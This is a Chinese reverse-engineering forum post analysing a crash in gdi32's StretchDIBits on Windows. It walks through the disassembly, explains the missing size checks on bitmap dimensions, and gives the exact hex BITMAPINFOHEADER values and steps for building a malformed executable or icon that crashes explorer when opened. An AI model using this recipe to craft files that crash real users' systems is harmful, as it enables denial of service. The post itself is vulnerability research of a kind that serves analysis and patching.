简单说下崩溃的原因:StretchDIBits对位图长,宽,面验证不够,通过修改位图结构,构造一个很大的数(当然这个大小也有限度,太大申请堆空间会失败的),可以让它在执行堆拷贝的时候,由于拷贝,发生内存访问错误,导致explorer崩溃,只想到崩溃,不知道能否溢出
,大牛来哈
1.找崩溃点
用ida看了下gdi32的StretchDIBits里面能产生崩溃的函数只有执行到77F0C624:
77F0C624 > 64:A1 18000000 mov eax, dword ptr fs:[18]
77F0C62A FF75 D4 push dword ptr [ebp-2C]
77F0C62D 8B40 30 mov eax, dword ptr [eax+30]
77F0C630 57 push edi
77F0C631 FF70 18 push dword ptr [eax+18]
77F0C634 FF15 AC11EF77 call dword ptr [<&ntdll.RtlAllocateHe>; ntdll.RtlAllocateHeap //申请堆
77F0C63A 3BC7 cmp eax, edi
77F0C63C 8945 C4 mov dword ptr [ebp-3C], eax
77F0C63F ^ 0F84 99EAFEFF je <loc_77EFB0DE>
77F0C645 8B4D D4 mov ecx, dword ptr [ebp-2C]
77F0C648 8B75 2C mov esi, dword ptr [ebp+2C]
77F0C64B 8BD1 mov edx, ecx
77F0C64D C1E9 02 shr ecx, 2
77F0C650 8BF8 mov edi, eax
77F0C652 F3:A5 rep movs dword ptr es:[edi], dword p> //然后拷贝
77F0C654 8BCA mov ecx, edx
77F0C656 83E1 03 and ecx, 3
77F0C659 F3:A4 rep movs byte ptr es:[edi], byte ptr> //少于4字节的拷贝
为什么这里可能会产生崩溃,因为这里是对位图数据的拷贝,如果[esi]空间不够,就会出现内存访问错误
2.崩溃前的程序流程:
explorer执行到崩溃点之前的代码:
77EFB067 > 8BFF mov edi, edi
77EFB069 55 push ebp
77EFB06A 8BEC mov ebp, esp
77EFB06C 83EC 68 sub esp, 68
77EFB06F 8B45 08 mov eax, dword ptr [ebp+8]
77EFB072 53 push ebx
77EFB073 56 push esi
77EFB074 8B75 30 mov esi, dword ptr [ebp+30]
77EFB077 57 push edi
77EFB078 33FF xor edi, edi
77EFB07A 25 00007F00 and eax, 7F0000
77EFB07F BB 00000100 mov ebx, 10000 ; UNICODE "=::=::\"
77EFB084 3BC3 cmp eax, ebx
77EFB086 897D C4 mov dword ptr [ebp-3C], edi
77EFB089 897D F0 mov dword ptr [ebp-10], edi
77EFB08C 897D F4 mov dword ptr [ebp-C], edi
77EFB08F 897D FC mov dword ptr [ebp-4], edi
77EFB092 897D B8 mov dword ptr [ebp-48], edi
77EFB095 0F85 4A220100 jnz <loc_77F0D2E5>
77EFB09B > 3BF7 cmp esi, edi
77EFB09D 0F84 E7150100 je <loc_77F0C68A>
77EFB0A3 57 push edi
77EFB0A4 8D45 D8 lea eax, dword ptr [ebp-28]
77EFB0A7 50 push eax
77EFB0A8 FF75 34 push dword ptr [ebp+34]
77EFB0AB 56 push esi
77EFB0AC E8 2FE6FFFF call <pbmiConvertInfo(x,x,x,x)> //关键点1
77EFB0B1 3BC7 cmp eax, edi
77EFB0B3 8945 F0 mov dword ptr [ebp-10], eax
77EFB0B6 0F84 C7150100 je <loc_77F0C683>
77EFB0BC 8B75 F0 mov esi, dword ptr [ebp-10]
77EFB0BF 56 push esi
77EFB0C0 E8 3AFBFFFF call <cjBitmapBitsSize(x)> //关键点2
77EFB0C5 8945 D4 mov dword ptr [ebp-2C], eax
77EFB0C8 > 64:A1 18000000 mov eax, dword ptr fs:[18]
77EFB0CE F645 2C 03 test byte ptr [ebp+2C], 3 //关键点3,
77EFB0D2 89B8 D0060000 mov dword ptr [eax+6D0], edi
77EFB0D8 0F85 46150100 jnz <loc_77F0C624> //跳到崩溃点
关键点1:应该是通过一些验证,得到一个合法的 位图信息结构,经过跟踪发现,这里可以为两种格式,但系统默认的是BITMAPINFOHEADER 28大小的结构,
typedef struct tagBITMAPCOREHEADER {
DWORD bcSize; /* used to get to color table */
WORD bcWidth;
WORD bcHeight;
WORD bcPlanes;
WORD bcBitCount;
} BITMAPCOREHEADER, FAR *LPBITMAPCOREHEADER, *PBITMAPCOREHEADER;
typedef struct tagBITMAPINFOHEADER{
DWORD biSize;
LONG biWidth;
LONG biHeight;
WORD biPlanes;
WORD biBitCount;
DWORD biCompression;
DWORD biSizeImage;
LONG biXPelsPerMeter;
LONG biYPelsPerMeter;
DWORD biClrUsed;
DWORD biClrImportant;
} BITMAPINFOHEADER, FAR *LPBITMAPINFOHEADER, *PBITMAPINFOHEADER;
关键点2:是计算位图需要内存的大小,跟踪发现,这个大小就是简单biWidth,biHeight,biPlanes之间的运行,并且没有对结构进行检查,如果构造一个比实际大很多的biWidth,biHeight,biPlanes值,这会导致后面的申请堆,拷贝位图数据时,由于长度太大,而产生内存访问错误,这里应该是产生bug的根本原因
关键点3:判断是否4字节对齐,不是则跳崩溃点,重新申请堆,然后拷贝
3.构造产生崩溃的条件
通过上面3个关键点的分析,可以有两个方案实现崩溃
一个是构造一个合法0x28大小BITMAPINFOHEADER结构, 然后将iWidth,biHeight,biPlanes
该成一个很大数,然后把pe里的ico位图向后移一个字节单位,这样可以造成不是4字节的条件
二个是构造一个合法0xC大小的BITMAPCOREHEADER结构,因为用了这个结构不是4字节对齐的,不需要把pe里的ico位图向后移一个字节单位,然后iWidth,biHeight,biPlanes也改成很大
4.我的pe构造
这里我选择第一个方案,BITMAPINFOHEADER 的内容如下:
28000000212100002121000001000100000000008002000000000000000000000000000000000000
说明一个下
28000000 //长度 这个固定的
21210000 //iWidth 宽
21210000 //biHeight 高
0100 //biPlanes 面
0100
00000000
80020000
00000000
00000000
0000
0000
00000000
然后把 pe里的ico位图向后移一个字节单位 就ok了
4. 结果 打开修改的pe文件,explorer崩溃,半天无反应
5.附件说明
修改了两个文件,一个是exe的(第一种方案),一个ico的文件(第二种方案)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: